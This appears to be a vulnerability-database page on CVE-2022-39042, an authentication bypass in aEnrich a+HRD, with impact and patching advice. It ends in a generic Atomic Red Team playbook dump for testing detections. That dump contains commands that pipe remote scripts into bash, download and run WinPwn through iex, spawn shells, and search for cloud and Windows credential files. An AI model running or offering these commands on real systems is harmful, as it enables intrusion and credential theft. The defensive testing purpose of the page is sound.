CVE-2022-39042
Overview
This vulnerability is an authentication bypass caused by improper validation within the login function of aEnrich a+HRD. The root cause lies in insufficient verification of authentication credentials, allowing unauthenticated requests to bypass login controls. The affected component is the authentication mechanism that governs access to the API functions of the product.
Vulnerability Description
aEnrich a+HRD has improper validation for login function. An unauthenticated remote attacker can exploit this vulnerability to bypass authentication and access API function to perform arbitrary system command or disrupt service.
Impact
An attacker with network access and no authentication privileges can exploit this flaw to execute arbitrary system commands or disrupt services on the affected system. This results in full compromise of confidentiality, integrity, and availability of the system as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N/C:H/I:H/A:H). The vulnerability enables remote code execution and service disruption without user interaction or prior authentication, severely impacting business operations.
Solution
According to the advisory published by TW-CERT (https://www.twcert.org.tw/tw/cp-132-6795-f7fe6-1.html), users of aEnrich a+HRD versions 6.8 and 7.0 should apply the vendor-provided patches or upgrade to a fixed version as recommended. The advisory details specific patch versions and instructions to remediate the authentication bypass. Administrators are advised to follow the vendor's update procedures precisely to ensure the vulnerability is mitigated.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in aEnrich's a+HRD product stems from improper validation within its login function. This flaw allows an unauthenticated remote attacker to bypass authentication mechanisms, granting them unauthorized access to the system's API functions. The lack of stringent validation checks means that attackers can exploit this weakness to execute arbitrary system commands, which could lead to unauthorized data access, modification, or even complete system compromise. The severity of this issue is underscored by its high CVSS score of 9.8, indicating a critical risk that necessitates immediate attention from organizations utilizing this software.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could initiate a simple HTTP request targeting the login endpoint, manipulating input parameters to bypass authentication checks. Once access is gained, the attacker can leverage the API to execute commands that could disrupt service or manipulate data. For instance, an attacker could deploy a denial-of-service attack by overwhelming the system with requests or could extract sensitive information stored within the system. Given the nature of the vulnerability, the potential for exploitation is high, especially in environments where security measures are lax or where the software is exposed to the internet without adequate protections.
The real-world impact of this vulnerability can be profound, particularly for organizations that rely on aEnrich's a+HRD for critical operations. Unauthorized access to API functions can lead to data breaches, loss of sensitive information, and significant disruption of services. The financial implications can be severe, ranging from direct losses due to fraud or theft to indirect costs associated with incident response, regulatory fines, and damage to reputation. Furthermore, the exploitation of this vulnerability could lead to compliance violations, particularly for organizations in regulated industries, thereby exacerbating the business risk associated with this flaw.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular security assessments, including penetration testing and code reviews, can help identify and remediate vulnerabilities before they can be exploited. Additionally, organizations should enforce strict access controls, ensuring that only authenticated and authorized users can access sensitive API functions. Implementing rate limiting and monitoring for unusual activity can also help detect potential exploitation attempts. Furthermore, organizations should stay informed about security patches and updates from aEnrich, applying them promptly to mitigate risks associated with known vulnerabilities.
In conclusion, the improper validation in the login function of aEnrich's a+HRD presents a critical security risk that can lead to unauthorized access and significant operational disruption. The potential for exploitation through various attack vectors highlights the need for organizations to prioritize security measures and remain vigilant in their defense strategies. By adopting comprehensive detection and mitigation strategies, businesses can protect themselves from the severe consequences associated with this vulnerability, ensuring the integrity and availability of their systems and data.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Aenrich | A\+hrd | 6.8 |
cpe:2.3:a:aenrich:a\+hrd:6.8:*:*:*:*:*:*:*
|
|
|
Aenrich | A\+hrd | 7.0 |
cpe:2.3:a:aenrich:a\+hrd:7.0:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-39042 |
| twcert.org.tw |
GitHub CVE
|
https://www.twcert.org.tw/tw/cp-132-6795-f7fe6-1.html |